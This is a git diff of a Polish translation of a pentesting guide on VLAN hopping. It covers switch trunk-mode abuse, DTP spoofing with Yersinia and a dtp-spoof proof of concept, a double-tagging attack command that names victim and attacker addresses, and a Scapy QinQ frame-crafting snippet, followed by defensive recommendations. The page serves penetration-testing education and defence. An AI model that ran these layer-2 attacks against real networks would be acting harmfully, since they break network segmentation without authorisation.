Translated ['src/generic-methodologies-and-resources/pentesting-network/

This commit is contained in:
Translator 2025-07-18 18:09:37 +00:00
parent 0a8e675d16
commit a25276f97b

View File

@ -10,7 +10,7 @@ Początkowo konieczne jest zidentyfikowanie konkretnego podłączonego portu. Za
```
SW1(config)# show mac address-table | include 0050.0000.0500
```
Przed przełączeniem na tryb trunk, należy sporządzić listę istniejących VLAN-ów i określić ich identyfikatory. Te identyfikatory są następnie przypisywane do interfejsu, co umożliwia dostęp do różnych VLAN-ów przez trunk. Port w użyciu, na przykład, jest powiązany z VLAN 10.
Przed przełączeniem na tryb trunk, należy sporządzić listę istniejących VLAN-ów i określić ich identyfikatory. Identyfikatory te są następnie przypisywane do interfejsu, co umożliwia dostęp do różnych VLAN-ów przez trunk. Port w użyciu, na przykład, jest powiązany z VLAN 10.
```
SW1# show vlan brief
```
@ -20,7 +20,7 @@ SW1(config)# interface GigabitEthernet 0/2
SW1(config-if)# switchport trunk encapsulation dot1q
SW1(config-if)# switchport mode trunk
```
Przełączenie na tryb trunk spowoduje tymczasowe zakłócenie łączności, ale można to później przywrócić.
Przełączenie na tryb trunk spowoduje tymczasowe zakłócenie łączności, ale można później przywrócić.
Następnie tworzone są wirtualne interfejsy, przypisywane są identyfikatory VLAN i aktywowane:
```bash
@ -33,7 +33,7 @@ sudo ifconfig eth0.20 up
sudo ifconfig eth0.50 up
sudo ifconfig eth0.60 up
```
Następnie wysyłane jest żądanie adresu za pomocą DHCP. Alternatywnie, w przypadkach, gdy DHCP nie jest możliwe, adresy można skonfigurować ręcznie:
Następnie żądanie adresu jest wysyłane za pośrednictwem DHCP. Alternatywnie, w przypadkach, gdy DHCP nie jest możliwe, adresy można skonfigurować ręcznie:
```bash
sudo dhclient -v eth0.10
sudo dhclient -v eth0.20
@ -44,12 +44,80 @@ Przykład ręcznego ustawiania statycznego adresu IP na interfejsie (VLAN 10):
```bash
sudo ifconfig eth0.10 10.10.10.66 netmask 255.255.255.0
```
Łączność jest testowana poprzez inicjowanie żądań ICMP do domyślnych bram dla VLAN-ów 10, 20, 50 i 60.
Łączność jest testowana poprzez inicjowanie żądań ICMP do domowych bramek dla VLAN-ów 10, 20, 50 i 60.
Ostatecznie proces ten umożliwia obejście segmentacji VLAN, co ułatwia nieograniczony dostęp do każdej sieci VLAN i przygotowuje grunt pod kolejne działania.
Ostatecznie, ten proces umożliwia obejście segmentacji VLAN, co ułatwia nieograniczony dostęp do każdej sieci VLAN i przygotowuje grunt pod kolejne działania.
## References
---
## Inne techniki VLAN-Hopping (bez uprzywilejowanego CLI przełącznika)
Poprzednia metoda zakłada uwierzytelniony dostęp do konsoli lub Telnet/SSH do przełącznika. W rzeczywistych sytuacjach atakujący zazwyczaj jest podłączony do **zwykłego portu dostępowego**. Następujące sztuczki warstwy 2 często pozwalają na lateralne przełączanie bez logowania się do systemu operacyjnego przełącznika:
### 1. Switch-Spoofing z Dynamic Trunking Protocol (DTP)
Przełączniki Cisco, które mają włączony DTP, chętnie negocjują trunk, jeśli partner twierdzi, że jest przełącznikiem. Stworzenie pojedynczej ramki **DTP “desirable”** lub **“trunk”** przekształca port dostępowy w trunk 802.1Q, który przenosi *wszystkie* dozwolone VLAN-y.
*Yersinia* i kilka PoC automatyzują ten proces:
```bash
# Become a trunk using Yersinia (GUI)
$ sudo yersinia -G # Launch GUI → Launch attack → DTP → enabling trunking
# Python PoC (dtp-spoof)
$ git clone https://github.com/fleetcaptain/dtp-spoof.git
$ sudo python3 dtp-spoof/dtp-spoof.py -i eth0 --desirable
```
Gdy port przełączy się na trunk, możesz utworzyć podinterfejsy 802.1Q i przeprowadzić pivot dokładnie tak, jak pokazano w poprzedniej sekcji. Nowoczesne jądra Linuksa nie wymagają już *vconfig*; zamiast tego użyj *ip link*:
```bash
sudo modprobe 8021q
sudo ip link add link eth0 name eth0.30 type vlan id 30
sudo ip addr add 10.10.30.66/24 dev eth0.30
sudo ip link set eth0.30 up
```
### 2. Double-Tagging (Native-VLAN Abuse)
Jeśli atakujący znajduje się w **native (untagged) VLAN**, stworzona ramka z *dwoma* nagłówkami 802.1Q może "przeskoczyć" do drugiego VLAN, nawet gdy port jest zablokowany w trybie dostępu. Narzędzia takie jak **VLANPWN DoubleTagging.py** (odświeżenie 2022-2024) automatyzują wstrzykiwanie:
```bash
python3 DoubleTagging.py \
--interface eth0 \
--nativevlan 1 \
--targetvlan 20 \
--victim 10.10.20.24 \
--attacker 10.10.1.54
```
Przechodzenie pakietu:
1. Zewnętrzna etykieta (1) jest usuwana przez pierwszy przełącznik, ponieważ pasuje do natywnego VLAN.
2. Wewnętrzna etykieta (20) jest teraz odsłonięta; ramka jest przesyłana na trunk w kierunku VLAN 20.
Technika ta nadal działa w 2025 roku w sieciach, które pozostawiają natywny VLAN na domyślnym poziomie i akceptują ramki bez etykiet.
### 3. QinQ (802.1ad) Stacking
Wiele rdzeni przedsiębiorstw obsługuje *Q-in-Q* enkapsulację dostawcy usług. Gdzie to dozwolone, atakujący może tunelować dowolny ruch oznaczony 802.1Q wewnątrz dostawcy (S-tag), aby przekroczyć strefy bezpieczeństwa. Przechwyć dla etyki 802.1ad 0x88a8 i spróbuj usunąć zewnętrzną etykietę za pomocą Scapy:
```python
from scapy.all import *
outer = 100 # Service tag
inner = 30 # Customer / target VLAN
payload = Ether(dst="ff:ff:ff:ff:ff:ff")/Dot1Q(vlan=inner)/IP(dst="10.10.30.1")/ICMP()
frame = Dot1Q(type=0x88a8, vlan=outer)/payload
sendp(frame, iface="eth0")
```
---
## Rekomendacje obronne
1. Wyłącz DTP na wszystkich portach skierowanych do użytkowników: `switchport mode access` + `switchport nonegotiate`.
2. Zmień natywny VLAN na każdym trunku na **niewykorzystany, czarny VLAN** i oznacz go: `vlan dot1q tag native`.
3. Prune'uj niepotrzebne VLANy na trunkach: `switchport trunk allowed vlan 10,20`.
4. Wymuś bezpieczeństwo portów, DHCP snooping i dynamiczną inspekcję ARP, aby ograniczyć nieautoryzowaną aktywność warstwy 2.
5. Preferuj private-VLANs lub segmentację L3 zamiast polegać wyłącznie na separacji 802.1Q.
---
## Odniesienia
- [https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9](https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9)
- VLANPWN attack toolkit <https://github.com/casterbytethrowback/VLANPWN>
- Twingate "Czym jest VLAN Hopping?" (sierpień 2024) <https://www.twingate.com/blog/glossary/vlan%20hopping>
{{#include ../../banners/hacktricks-training.md}}